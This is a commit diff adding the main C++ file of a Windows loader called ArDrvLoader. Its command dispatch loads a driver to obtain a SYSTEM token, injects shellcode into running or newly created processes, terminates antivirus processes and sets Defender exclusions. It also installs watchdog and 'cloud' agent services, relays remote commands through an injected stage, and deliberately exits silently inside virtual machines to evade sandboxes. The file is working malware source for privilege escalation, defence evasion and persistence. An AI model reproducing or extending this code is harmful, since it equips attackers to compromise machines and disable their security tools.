Init commit
This commit is contained in:
@@ -0,0 +1,823 @@
|
||||
#include "Common.h"
|
||||
#include "Logger.h"
|
||||
#include "CloudAgent.h"
|
||||
#include "GuardService.h"
|
||||
#include "VmDetect.h"
|
||||
#include "KillSafety.h"
|
||||
#include "HostSpawn.h"
|
||||
#include "HostStager.h"
|
||||
#include "StageClient.h"
|
||||
#include "Exclusions.h"
|
||||
|
||||
#include <shellapi.h>
|
||||
|
||||
#pragma comment(lib, "shell32.lib")
|
||||
|
||||
#include "DriverClient.h"
|
||||
#include "TokenUtils.h"
|
||||
#include "ProcessUtils.h"
|
||||
#include "ShellcodeUtils.h"
|
||||
#include "AvKill.h"
|
||||
#include "ServiceManager.h"
|
||||
|
||||
static int RunLoader(int argc, LPWSTR* argv)
|
||||
{
|
||||
HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex");
|
||||
bool ownsMutex = false;
|
||||
|
||||
if (mutex)
|
||||
{
|
||||
DWORD waitRes = WaitForSingleObject(mutex, 15000);
|
||||
ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED);
|
||||
|
||||
if (!ownsMutex)
|
||||
{
|
||||
Log(L"[-] Another loader instance is already running");
|
||||
CloseHandle(mutex);
|
||||
return 12;
|
||||
}
|
||||
}
|
||||
|
||||
Log(L"=== Loader start ===");
|
||||
|
||||
HANDLE driverToken = nullptr;
|
||||
HANDLE systemToken = nullptr;
|
||||
int ret = 0;
|
||||
|
||||
if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0)
|
||||
{
|
||||
bool ok = EnsureWin32Service(argv[2], argv[3], true);
|
||||
ret = ok ? 0 : 4;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (!EnsureDriverLoaded())
|
||||
{
|
||||
ret = 2;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (!EscalateViaDriver(&driverToken))
|
||||
{
|
||||
Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle");
|
||||
}
|
||||
|
||||
systemToken = GetSystemToken(driverToken);
|
||||
|
||||
if (!systemToken)
|
||||
{
|
||||
ret = 3;
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0)
|
||||
{
|
||||
DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10);
|
||||
|
||||
std::vector<BYTE> shell;
|
||||
|
||||
if (!ReadFileToMemory(argv[4], shell))
|
||||
{
|
||||
ret = 5;
|
||||
}
|
||||
else
|
||||
{
|
||||
bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size());
|
||||
ret = ok ? 0 : 6;
|
||||
}
|
||||
}
|
||||
else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0)
|
||||
{
|
||||
const wchar_t* target = argv[2];
|
||||
|
||||
std::vector<BYTE> shell;
|
||||
|
||||
if (!ReadFileToMemory(argv[4], shell))
|
||||
{
|
||||
ret = 5;
|
||||
}
|
||||
else
|
||||
{
|
||||
NewProcInfo info{};
|
||||
|
||||
if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info))
|
||||
{
|
||||
ret = 7;
|
||||
}
|
||||
else
|
||||
{
|
||||
bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size());
|
||||
ret = ok ? 0 : 8;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0)
|
||||
{
|
||||
const wchar_t* payload = argv[2];
|
||||
const wchar_t* args = (argc >= 4 ? argv[3] : nullptr);
|
||||
|
||||
bool ok = StartProcessAsSystem(systemToken, payload, args, false);
|
||||
ret = ok ? 0 : 9;
|
||||
}
|
||||
else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0)
|
||||
{
|
||||
const wchar_t* target = argv[2];
|
||||
DWORD intervalMs = 5000;
|
||||
DWORD iterations = 0;
|
||||
|
||||
if (argc >= 4)
|
||||
intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10);
|
||||
|
||||
if (argc >= 5)
|
||||
iterations = (DWORD)wcstoul(argv[4], nullptr, 10);
|
||||
|
||||
DWORD done = 0;
|
||||
|
||||
while (true)
|
||||
{
|
||||
if (!ProcessExistsByName(target))
|
||||
{
|
||||
Log(L"[+] Watchdog: target not running, starting");
|
||||
|
||||
if (!StartProcessAsSystem(systemToken, target, nullptr, false))
|
||||
Log(L"[-] Watchdog: failed to start target");
|
||||
}
|
||||
|
||||
if (iterations != 0 && ++done >= iterations)
|
||||
break;
|
||||
|
||||
Sleep(intervalMs);
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
KillAVProcesses();
|
||||
|
||||
const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe";
|
||||
const wchar_t* testArgs =
|
||||
L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1";
|
||||
|
||||
bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false);
|
||||
ret = ok ? 0 : 11;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
|
||||
if (systemToken)
|
||||
CloseHandle(systemToken);
|
||||
|
||||
if (driverToken)
|
||||
CloseHandle(driverToken);
|
||||
|
||||
if (ownsMutex && mutex)
|
||||
ReleaseMutex(mutex);
|
||||
|
||||
if (mutex)
|
||||
CloseHandle(mutex);
|
||||
|
||||
CloseDriver();
|
||||
|
||||
Log(L"=== Loader end ret=%d ===", ret);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
// Virtual machine gate. Every mode except an explicit override refuses to run
|
||||
// inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a
|
||||
// process that starts and quietly terminates.
|
||||
static int VmGate(int argc, wchar_t** argv)
|
||||
{
|
||||
if (VmOverrideRequested(argc, argv))
|
||||
return -1;
|
||||
|
||||
std::wstring reason;
|
||||
|
||||
if (!IsVirtualMachine(&reason))
|
||||
return -1;
|
||||
|
||||
wchar_t debug[8]{};
|
||||
DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug));
|
||||
|
||||
if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y'))
|
||||
wprintf(L"[vm] refusing to run: %s\n", reason.c_str());
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool IsProcessElevated()
|
||||
{
|
||||
HANDLE token = nullptr;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||
return false;
|
||||
|
||||
TOKEN_ELEVATION elevation{};
|
||||
DWORD len = sizeof(elevation);
|
||||
|
||||
bool elevated =
|
||||
GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE &&
|
||||
elevation.TokenIsElevated != 0;
|
||||
|
||||
CloseHandle(token);
|
||||
return elevated;
|
||||
}
|
||||
|
||||
static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name)
|
||||
{
|
||||
for (int i = 1; i < argc; ++i)
|
||||
{
|
||||
if (argv[i] && _wcsicmp(argv[i], name) == 0)
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Relaunches the same command line under UAC. Returns true when the elevated
|
||||
// copy was started; the caller should then exit.
|
||||
static bool RelaunchElevated(int argc, wchar_t** argv)
|
||||
{
|
||||
wchar_t exe[MAX_PATH]{};
|
||||
|
||||
DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe));
|
||||
|
||||
if (len == 0 || len >= _countof(exe))
|
||||
return false;
|
||||
|
||||
std::wstring params;
|
||||
|
||||
// Double-click: the elevated copy must still know it is the bootstrap. The
|
||||
// appended --elevated flag would otherwise look like a normal command line.
|
||||
if (argc < 2)
|
||||
params = L"-bootstrap";
|
||||
|
||||
for (int i = 1; i < argc; ++i)
|
||||
{
|
||||
std::wstring a = argv[i];
|
||||
|
||||
if (!params.empty())
|
||||
params += L" ";
|
||||
|
||||
if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"'))
|
||||
params += L"\"" + a + L"\"";
|
||||
else
|
||||
params += a;
|
||||
}
|
||||
|
||||
params += L" --elevated";
|
||||
|
||||
HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL);
|
||||
|
||||
if ((INT_PTR)h <= 32)
|
||||
{
|
||||
wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Commands that need administrator rights. Anything else runs as-is; after the
|
||||
// first elevated install the services do all privileged work.
|
||||
static bool NeedsElevation(int argc, wchar_t** argv)
|
||||
{
|
||||
// Double-click with no arguments runs the bootstrap, which needs admin.
|
||||
if (argc < 2)
|
||||
return true;
|
||||
|
||||
const bool dryRun = HasCommandArg(argc, argv, L"--dry-run");
|
||||
|
||||
if (_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
|
||||
_wcsicmp(argv[1], L"--install-guard-services") == 0 ||
|
||||
_wcsicmp(argv[1], L"-bootstrap") == 0 ||
|
||||
_wcsicmp(argv[1], L"--bootstrap") == 0)
|
||||
{
|
||||
return !dryRun;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)
|
||||
return !dryRun;
|
||||
|
||||
if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3)
|
||||
{
|
||||
return _wcsicmp(argv[2], L"extract") == 0 ||
|
||||
_wcsicmp(argv[2], L"reset") == 0 ||
|
||||
_wcsicmp(argv[2], L"kill") == 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3)
|
||||
{
|
||||
return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
int wmain(int argc, LPWSTR* argv)
|
||||
{
|
||||
// Elevation first: a double-click must always show the UAC prompt, even on a
|
||||
// host the VM gate would later refuse.
|
||||
if (NeedsElevation(argc, argv) &&
|
||||
!IsProcessElevated() &&
|
||||
!HasCommandArg(argc, argv, L"--elevated"))
|
||||
{
|
||||
// One UAC, first run. After this the services hold the privileges.
|
||||
if (!RelaunchElevated(argc, argv))
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int vm = VmGate(argc, argv);
|
||||
|
||||
if (vm >= 0)
|
||||
return vm;
|
||||
|
||||
if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0)
|
||||
return RunEnroll(argc, argv);
|
||||
|
||||
if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"list") == 0)
|
||||
{
|
||||
std::wstring note;
|
||||
std::vector<std::wstring> current = QueryExclusions(note);
|
||||
|
||||
wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str());
|
||||
wprintf(L"%s\n", FormatExclusionList(current).c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4)
|
||||
{
|
||||
std::vector<std::wstring> paths = LoadExclusionList();
|
||||
paths.push_back(argv[3]);
|
||||
|
||||
bool saved = SaveExclusionList(paths);
|
||||
|
||||
std::wstring report;
|
||||
bool applied = ApplyExclusions(paths, report);
|
||||
|
||||
wprintf(L"%s%s\n%s\n",
|
||||
saved ? L"saved" : L"save-failed",
|
||||
applied ? L" applied" : L" refused",
|
||||
report.c_str());
|
||||
|
||||
return applied ? 0 : 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"apply") == 0)
|
||||
{
|
||||
std::vector<std::wstring> paths = LoadExclusionList();
|
||||
|
||||
if (paths.empty())
|
||||
{
|
||||
paths = DefaultExclusionPaths();
|
||||
SaveExclusionList(paths);
|
||||
}
|
||||
|
||||
std::wstring report;
|
||||
bool applied = ApplyExclusions(paths, report);
|
||||
|
||||
wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str());
|
||||
return applied ? 0 : 1;
|
||||
}
|
||||
|
||||
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"status") == 0)
|
||||
{
|
||||
bool open = OpenDriver();
|
||||
CloseDriver();
|
||||
|
||||
DWORD fails = 0;
|
||||
DWORD failMax = 3;
|
||||
std::wstring state = L"unset";
|
||||
|
||||
HKEY h = nullptr;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD type = 0;
|
||||
DWORD size = sizeof(fails);
|
||||
DWORD v = 0;
|
||||
|
||||
if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
|
||||
fails = v;
|
||||
|
||||
size = sizeof(failMax);
|
||||
v = 0;
|
||||
|
||||
if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
|
||||
failMax = v;
|
||||
|
||||
wchar_t buf[64]{};
|
||||
size = sizeof(buf);
|
||||
|
||||
if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ)
|
||||
state = buf;
|
||||
|
||||
RegCloseKey(h);
|
||||
}
|
||||
|
||||
wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n",
|
||||
open ? L"ok" : L"unavailable",
|
||||
EmbeddedDriverSize(),
|
||||
fails,
|
||||
failMax,
|
||||
state.c_str());
|
||||
|
||||
return open ? 0 : 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"reset") == 0)
|
||||
{
|
||||
HKEY h = nullptr;
|
||||
|
||||
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr)
|
||||
!= ERROR_SUCCESS)
|
||||
{
|
||||
wprintf(L"ERR registry write denied\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
DWORD zero = 0;
|
||||
RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero));
|
||||
|
||||
const wchar_t* state = L"reset";
|
||||
RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state,
|
||||
(DWORD)((wcslen(state) + 1) * sizeof(wchar_t)));
|
||||
|
||||
RegCloseKey(h);
|
||||
wprintf(L"OK counters cleared\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4)
|
||||
{
|
||||
bool ok = WriteEmbeddedDriverTo(argv[3]);
|
||||
wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]);
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4)
|
||||
{
|
||||
DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10);
|
||||
|
||||
if (!OpenDriver())
|
||||
{
|
||||
wprintf(L"ERR driver device unavailable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
bool ok = TerminateProcessViaDriver(pid);
|
||||
CloseDriver();
|
||||
|
||||
wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid);
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
|
||||
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (argc >= 2 &&
|
||||
(_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0))
|
||||
{
|
||||
bool dryRun = false;
|
||||
bool force = false;
|
||||
std::vector<std::wstring> names;
|
||||
|
||||
for (int i = 2; i < argc; ++i)
|
||||
{
|
||||
if (_wcsicmp(argv[i], L"--dry-run") == 0)
|
||||
dryRun = true;
|
||||
|
||||
if (_wcsicmp(argv[i], L"--force") == 0)
|
||||
force = true;
|
||||
|
||||
if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc)
|
||||
names.emplace_back(argv[++i]);
|
||||
}
|
||||
|
||||
std::wstring summary;
|
||||
|
||||
if (names.empty())
|
||||
{
|
||||
if (!dryRun)
|
||||
EnsureDriverLoaded();
|
||||
|
||||
KillAVProcessesEx(dryRun, summary);
|
||||
}
|
||||
else
|
||||
{
|
||||
KillReport report;
|
||||
KillProcessesSafe(names, dryRun, 16, report, force);
|
||||
summary = report.Format();
|
||||
}
|
||||
|
||||
wprintf(L"%s\n", summary.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"status") == 0)
|
||||
{
|
||||
wprintf(L"%s\n", FormatStageStatus().c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"inject") == 0)
|
||||
{
|
||||
std::wstring preferred;
|
||||
std::wstring dll;
|
||||
bool requireSystem = true;
|
||||
|
||||
for (int i = 3; i < argc; ++i)
|
||||
{
|
||||
if (_wcsicmp(argv[i], L"--any-host") == 0)
|
||||
requireSystem = false;
|
||||
else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
|
||||
preferred = argv[++i];
|
||||
else if (argv[i][0] != L'-' && dll.empty())
|
||||
dll = argv[i];
|
||||
}
|
||||
|
||||
HostInjectResult r = StageInject(dll, preferred, requireSystem);
|
||||
wprintf(L"%s\n", FormatInjectResult(r).c_str());
|
||||
|
||||
if (r.ok && StageAlive())
|
||||
wprintf(L"stage: %s\n", FormatStageStatus().c_str());
|
||||
|
||||
return r.ok ? 0 : 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"whoami") == 0)
|
||||
{
|
||||
std::wstring response;
|
||||
|
||||
if (!StageSend(L"WHOAMI", response))
|
||||
{
|
||||
wprintf(L"ERR stage not reachable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
wprintf(L"%s\n", response.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"run") == 0)
|
||||
{
|
||||
if (argc < 4)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -stage run <command line>\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring cmd;
|
||||
|
||||
for (int i = 3; i < argc; ++i)
|
||||
{
|
||||
if (!cmd.empty())
|
||||
cmd += L" ";
|
||||
|
||||
cmd += argv[i];
|
||||
}
|
||||
|
||||
std::wstring response;
|
||||
|
||||
if (!StageSend(L"RUN " + cmd, response))
|
||||
{
|
||||
wprintf(L"ERR stage not reachable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
wprintf(L"%s\n", response.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"stop") == 0)
|
||||
{
|
||||
std::wstring response;
|
||||
|
||||
if (!StageSend(L"STOP", response))
|
||||
{
|
||||
wprintf(L"ERR stage not reachable\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
wprintf(L"%s\n", response.c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
wprintf(L"Unknown -stage subcommand\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0)
|
||||
{
|
||||
if (_wcsicmp(argv[2], L"track") == 0)
|
||||
{
|
||||
wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"untrack") == 0)
|
||||
{
|
||||
wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0)
|
||||
{
|
||||
const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0);
|
||||
|
||||
std::wstring path;
|
||||
std::wstring preferred;
|
||||
bool requireSystem = true;
|
||||
bool expectHostValue = false;
|
||||
|
||||
for (int k = 3; k < argc; ++k)
|
||||
{
|
||||
if (expectHostValue)
|
||||
{
|
||||
preferred = argv[k];
|
||||
expectHostValue = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[k], L"--any-host") == 0)
|
||||
{
|
||||
requireSystem = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc)
|
||||
{
|
||||
expectHostValue = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (argv[k][0] != L'-' && path.empty())
|
||||
path = argv[k];
|
||||
}
|
||||
|
||||
if (!ensureMode && path.empty())
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -host inject <shellcode-path> [--host <image>] [--any-host]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
HostInjectResult r = ensureMode
|
||||
? EnsureHostInjected(requireSystem)
|
||||
: InjectShellcodeIntoHost(path, preferred, requireSystem);
|
||||
|
||||
wprintf(L"%s\n", FormatInjectResult(r).c_str());
|
||||
return r.ok ? 0 : 1;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"list") == 0)
|
||||
{
|
||||
bool any = false;
|
||||
|
||||
for (int i = 3; i < argc; ++i)
|
||||
{
|
||||
if (_wcsicmp(argv[i], L"--any") == 0)
|
||||
any = true;
|
||||
}
|
||||
|
||||
wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str());
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0)
|
||||
{
|
||||
if (argc < 4)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0);
|
||||
|
||||
int i = 3;
|
||||
std::wstring preferred;
|
||||
bool requireSystem = true;
|
||||
|
||||
for (int k = 3; k < argc; ++k)
|
||||
{
|
||||
if (_wcsicmp(argv[k], L"--any-host") == 0)
|
||||
requireSystem = false;
|
||||
}
|
||||
|
||||
if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
|
||||
{
|
||||
preferred = argv[i + 1];
|
||||
i += 2;
|
||||
}
|
||||
|
||||
while (i < argc && argv[i][0] == L'-')
|
||||
++i;
|
||||
|
||||
if (i >= argc)
|
||||
{
|
||||
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::wstring exe = argv[i++];
|
||||
std::wstring args;
|
||||
|
||||
for (; i < argc; ++i)
|
||||
{
|
||||
if (!args.empty())
|
||||
args += L" ";
|
||||
|
||||
args += argv[i];
|
||||
}
|
||||
|
||||
std::wstring cmd = exe;
|
||||
|
||||
if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"')
|
||||
cmd = L"\"" + cmd + L"\"";
|
||||
|
||||
if (!args.empty())
|
||||
{
|
||||
cmd += L" ";
|
||||
cmd += args;
|
||||
}
|
||||
|
||||
SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem);
|
||||
wprintf(L"%s\n", FormatSpawnResult(r).c_str());
|
||||
return r.ok ? 0 : 1;
|
||||
}
|
||||
|
||||
wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host <image>] <exe> [args] | spawn-user ...\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Double-click with no arguments: bootstrap using build-time defaults.
|
||||
if (argc < 2)
|
||||
return RunBootstrap(argc, argv);
|
||||
|
||||
if (argc >= 2 &&
|
||||
(_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
|
||||
_wcsicmp(argv[1], L"--install-guard-services") == 0))
|
||||
{
|
||||
return InstallGuardServices(argc, argv);
|
||||
}
|
||||
|
||||
if (argc >= 2 &&
|
||||
(_wcsicmp(argv[1], L"-bootstrap") == 0 ||
|
||||
_wcsicmp(argv[1], L"--bootstrap") == 0))
|
||||
{
|
||||
return RunBootstrap(argc, argv);
|
||||
}
|
||||
|
||||
if (argc >= 3 &&
|
||||
(_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0))
|
||||
{
|
||||
return RunGuardService(argc, argv);
|
||||
}
|
||||
|
||||
if (argc >= 2 &&
|
||||
(_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0))
|
||||
{
|
||||
return RunCloudService(argc, argv);
|
||||
}
|
||||
|
||||
if (argc >= 2 &&
|
||||
(_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0))
|
||||
{
|
||||
return RunCloudAgent(argc, argv);
|
||||
}
|
||||
|
||||
return RunLoader(argc, argv);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user